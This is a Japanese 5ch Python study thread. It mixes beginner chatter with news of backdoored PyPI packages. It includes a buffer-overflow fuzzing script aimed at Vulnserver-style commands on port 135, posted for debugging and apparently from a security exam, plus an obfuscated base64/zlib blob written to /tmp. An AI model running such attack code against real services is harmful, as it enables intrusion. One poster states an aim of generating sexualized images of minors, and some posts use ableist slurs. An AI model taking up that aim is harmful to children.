Pythonのお勉強 Part60

**デフォルトの名無しさん** · 2019/04/30(火) 08:34:23.34

★当スレにRubyのソースコード類を書くことを禁ず★
☆Ruby等、Pythonではないプログラミング言語での回答類を書くのも禁止
☆「Ruby では」「Rubyでは」をNGワード登録推奨

◆エラーを解決したいときはエラー表示と
　環境（Pythonのバージョン・OS・IDEの種類とバージョン）をシッカリ書く

◆Pythonのソースコードを５ちゃんにコピペするとインデントが崩れるので
　　↓にあげてるような、ソースコード用サイトに貼ってきてくだしあ
　　　　（スクリーンショットをimgurうｐ等の横着をしない）
ttp://ideone.com/　　　　　　推定最大手。デフォ設定がCなので、Pythonするには選択ボタン押下がﾋﾟｺ手間かも。
ttp://codepad.org/　　　　　ほぼ直感的に使える。Run codeボタンあり。
ttp://pastebin.com/　　　　　まずまずシンプル。
ttp://dpaste.com/　　　　　　とてもシンプル。消えるまでの日数は十分長ーく指定のこと。
ttps://jupyter.org/try　　　　（旧try.jupyter.org）ちょっとめんどうそう。
ttps://ja.osdn.net/pastebin/　ログイン必須になりやがった(ﾟДﾟ#)

◇Pythonオフィシャルサイト
http://www.python.org/

◇まとめwiki
ttp://python.rdy.jp/

●関連スレ●
くだすれPython(超初心者用) その43【Ruby禁止】
http://mevius.5ch.net/test/read.cgi/tech/1555397061/

〇前スレ
Pythonのお勉強 Part59
http://mevius.5ch.net/test/read.cgi/tech/1552194662/

次スレの建立は>>985が挑戦する

**デフォルトの名無しさん** · 2019/07/18(木) 22:08:41.79

悪意ある「Python」ライブラリーがPyPIで発見される--研究者が報告
Catalin Cimpanu（Special to ZDNet.com）翻訳校正：編集部 2019年07月18日 11時12分
https://japan.zdnet.com/article/35140047/

　セキュリティ企業のReversingLabsは、悪意ある「Python」ライブラリーが公式の
「Python Package Index」（PyPI）にアップロードされていることを発見した。

　これら3つのパッケージ（「libpeshnx」「libpesh」「libari」）は、同じユーザー
（名前はruri12）によって作成されており、2017年11月以降、20カ月近くにわたってPyPI
からダウンロード可能な状態にあった。2019年7月に入って、これらのパッケージは、
ReversingLabsのセキュリティ研究者らによって発見された。

　ReversingLabsは7月9日、PyPIのリポジトリメンテナーに通報し、PyPIのセキュリティ
チームはその日のうちにこれらのパッケージを削除した。(中略)

　ReversingLabsによると、バックドアはインタラクティブシェルであり、攻撃者はそれを
使って、3つのパッケージがインストールされたコンピューターに接続し、コマンドを実行
した可能性があるという。

　ReversingLabsが3つのパッケージを見つけたとき、バックドアはlibpeshnxでのみアク
ティブになっていたが、ほかの2つのパッケージ（libpeshとlibari）には「コードのない
悪意ある関数への参照」が含まれていた。このことは、作者がバックドアを削除したか、
あるいは、ほかの2つのパッケージのバックドアを含むバージョンをロールアウトする準備
を進めていた可能性を示唆している。

**デフォルトの名無しさん** · 2019/07/18(木) 22:12:13.82

ﾙﾘﾙﾘ

**デフォルトの名無しさん** · 2019/07/18(木) 23:33:11.30

>>960
新参者は Xxx を使っておけという時
言語 Xxx はクラッカーにとってトロイの木馬仕込み時ってわけだ

**デフォルトの名無しさん** · 2019/07/19(金) 23:56:12.27

>>950
>>952
lst [0]のが短くて良いと思うが。。。

Haskellのheadは別に便利とは思わんよ？
(引数の時点で(x:xs)とか出来るので滅多に使わんし)

Pythonのlst[n:]でHaskellのdrop n lst相当な方が羨ましいが。

第一、欲しいなら作れば良いじゃ無いか。

**デフォルトの名無しさん** · 2019/07/20(土) 05:54:56.19

エモいITキッズフェスが割とヤバ目なので寄付しろ
https://twitter.com/kondo_orange/status/1084963372624420864?s=21

https://twitter.com/kondo_orange/status/1147771514881601536?s=21

チャイルドフィルター、白Zでおなじみサイバーセキュリティ財団宮脇プレゼンツ

https://csf.or.jp/about/

https://twitter.com/biwam/status/1108021515117715461?s=21

https://twitter.com/garhitech/status/1088991484978724865?s=21

https://twitter.com/jellyfishmovie/status/1126480155960983552?s=21

https://twitter.com/iteenslab/status/820544834310062081?s=21

https://readyfor.jp/projects/exakids2019

https://twitter.com/kondo_orange/status/1091538007633518592?s=21
https://twitter.com/5chan_nel (5ch newer account)

**デフォルトの名無しさん** · 2019/07/20(土) 06:10:38.24

なにこの集団ちんどん屋かな？ｗ

**デフォルトの名無しさん** · 2019/07/20(土) 07:03:51.33

pytorchの解説がどれもむずかしいのですが、初心者ははじめに何やれば良いんでしょうか
最終目的はaiでロリ画像を作ることです

**デフォルトの名無しさん** · 2019/07/20(土) 08:15:40.55

>>966
スレチする自称初心者に教えてやることは
　　投稿前に必ず>>1くらいは全部読め
　　半年ROMれ
くらいだな

**デフォルトの名無しさん** · 2019/07/20(土) 12:06:50.56

これバッファオーバーフロー起こすとかで実行してみたんだが、全くそんな様子はない
どっか文法間違ってる？

import socket
buffer=["A"]
counter=50
while len(buffer) <=100:
buffer.append("A"*counter)
counter=counter+50
commands=["HELP", "STATS.", "RTIME.", "ITIME.", "SRUN.","TRUN.", "GMON.",
"GDOG.", "KSTET.", "GTER.", "HTER.", "LTER.", "KSTAN."]
for command in commands:
for buffstring in buffer:
print ("Exploiting" +command+":"+str(len(buffstring)))
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('127.0.0.1',135))
s.recv(50)
s.send(command+buffstring)
s.close()

**デフォルトの名無しさん** · 2019/07/20(土) 12:08:04.60

ちなみに消えちゃってるがちゃんとforの後のインデントや冒頭スペースは入れてる

**デフォルトの名無しさん** · 2019/07/20(土) 12:34:25.27

全バージョンで？

**デフォルトの名無しさん** · 2019/07/20(土) 12:52:58.13

触ったことないんだけどＡＩで使うって聞いて、遅いって聞いて、は？と思ったら
遅いから数学関数を多数用意したところ、数学関数を多用するＡＩに向いてると

あとｲﾝﾃﾞﾝﾄ式は普通の開発には厄介な面もあるけど、
ひたすら論理の整理が必要なＡＩには視認性が良くて便利なのかね

**デフォルトの名無しさん** · 2019/07/20(土) 13:06:10.76

>>971
Rubyよりマシだから

**デフォルトの名無しさん** · 2019/07/20(土) 13:08:21.22

>>968-969
まず>>1を嫁
特に４行目以降はしっかり嫁

**デフォルトの名無しさん** · 2019/07/20(土) 13:08:56.78

>>971
もっとしらべてからでなおしてきましょう

**デフォルトの名無しさん** · 2019/07/20(土) 14:00:42.75

何が気に入らんのかねこの基地外はｗ

**デフォルトの名無しさん** · 2019/07/20(土) 14:45:07.62

>>962
libpeshnxもlibpeshもlibariも聴いたことないな

>>963

**デフォルトの名無しさん** · 2019/07/20(土) 16:51:17.49

971の前半のガイジ臭やべえ

**デフォルトの名無しさん** · 2019/07/20(土) 17:31:12.31

アスペというよりADHD系だな

**デフォルトの名無しさん** · 2019/07/20(土) 18:05:53.13

>>973
すみませんここに貼りました
http://codepad.org/5ZfiLEBw
改めておなしゃす！

**デフォルトの名無しさん** · 2019/07/20(土) 18:21:08.11

臭う

●buffer=["A"]

●buffer.append("A"*counter)

●for buffstring in buffer:
●print ("Exploiting" +command+":"+str(len(buffstring)))

一酸化炭素くさい

**デフォルトの名無しさん** · 2019/07/20(土) 18:34:39.82

>>979
　　_, ._
（　ﾟ Дﾟ）っ＞環境（Pythonのバージョン・OS・IDEの種類とバージョン）をシッカリ書く

たしか
さいきんのPython３系は簡単お手軽なバッファオーバーフローができないように
セキュリティホールふさいだとかなんとかいう

**デフォルトの名無しさん** · 2019/07/20(土) 20:10:18.56

>>980 おつ

>>979まあいいや
↓これで　思ってたように動くようになるんｼﾞｬﾈｰﾉ(　´,_ゝ`)
ttp://codepad.org/edvUIEBT

**デフォルトの名無しさん** · 2019/07/20(土) 20:40:20.56

Pythonのお勉強 Part61
http://mevius.5ch.net/test/read.cgi/tech/1563622784/

ちょっとはやいがたてれたのでたてた

**デフォルトの名無しさん** · 2019/07/20(土) 21:30:17.02

>>982
サンクスコ！なんとなくWhile文がAの参照の悪さをしてそうでつね！

**デフォルトの名無しさん** · 2019/07/20(土) 22:03:12.00

>>984
＞While文がAの参照の悪さをしてそう
ないない

ぶっちゃけると
　　　>>979のコードの４－７行目はいったい何のためにあるのか察せなかった

あと

手打ちで写経したのかこれ？

スペースの数が４つじゃないところがあったり
８行目んとこのリストのHELPだけ「.」がなかったり
７行目の書き方は非推奨だったり
するんだが。

PEP8（PythonのGoodな書き方についての原則ルール）を読もう
ttps://pep8-ja.readthedocs.io/ja/latest/

**デフォルトの名無しさん** · 2019/07/20(土) 22:33:54.07

>>980
一酸化炭素は無臭だから怖い

**デフォルトの名無しさん** · 2019/07/20(土) 22:42:14.22

>>986
(｀・ω・´)っ◇　座布団１枚！

**デフォルトの名無しさん** · 2019/07/20(土) 23:38:50.97

>>985
大サンクスコヽ(`Д´)ﾉ
ぶっちゃけると、どっかのセキュリティベンダー試験のWeb問題の中の、バッファオーバーフローをテーマにした問題で、
BOFを引き起こす意図であろうPython文が画像になっていて、その文字も曖昧なコード部分をいったい全部手書きにしたもの

**デフォルトの名無しさん** · 2019/07/21(日) 05:13:00.04

>>988
＞BOFを引き起こす意図であろうPython文
正しくしちゃうとコピーキャットが湧くから
わざと変にしてあるのかもしらんよ　（´・ω・｀）と　いま　おもた

**デフォルトの名無しさん** · 2019/07/21(日) 08:15:24.48

これネットワーク攻撃用のコードで、BOFが起きるのは相手先のサービスなのでは

**デフォルトの名無しさん** · 2019/07/21(日) 12:25:10.85

a='eJyLMPVXDFB1cAyINokJiIowNdEIiNM0d3bWNK9VcfV0dgzSDQ5x9HNxDHLRdfQL8QzzDAoN1g1xDQ7RdfP0cVVU8dD20AIAdFQSDw=='
open('/tmp/txt', 'w').write(zlib.decompress(base64.b64decode(a)))

**デフォルトの名無しさん** · 2019/07/21(日) 12:56:34.65

>>991
やめーやｗｗｗｗｗ

**デフォルトの名無しさん** · 2019/07/21(日) 13:25:44.57

圧縮した方がデカくなってしまったな

**デフォルトの名無しさん** · 2019/07/21(日) 13:38:48.79

>>993
＞デカくなってしまった
元がこのサイズなら
自然な結論でしょうや

**デフォルトの名無しさん** · 2019/07/21(日) 14:11:43.62

>>991
これは何してるの(´･ω･)？

**デフォルトの名無しさん** · 2019/07/21(日) 14:15:12.38

>>991
ヒント
・これだけでは不完全なので動かない
　　　　足りないimportはいくつでしょーか
・たぶん１か所だけぼみょうにまちがっつる
　　　　半角１文字足りない

**デフォルトの名無しさん** · 2019/07/21(日) 14:16:07.95

>>996
アンカー間違った(´・ω・`)ごめす
誤× >>991
正◎ >>995

**デフォルトの名無しさん** · 2019/07/21(日) 14:23:23.00

要するにブラクラかなんかで存在自体が犯罪かなんかだろ

**デフォルトの名無しさん** · 2019/07/21(日) 14:28:14.29

>>998
＞存在自体が犯罪かなんか
なかなかいい発想だが
だったら>>992で芝生はやしてﾜﾛﾃる暇ないから（・∀・）

>>次スレ
Pythonのお勉強 Part61
http://mevius.5ch.net/test/read.cgi/tech/1563622784/

**デフォルトの名無しさん** · 2019/07/21(日) 14:46:11.73

おつ

**1001** · Over 1000

このスレッドは１０００を超えました。
新しいスレッドを立ててください。
life time: 82日 6時間 11分 48秒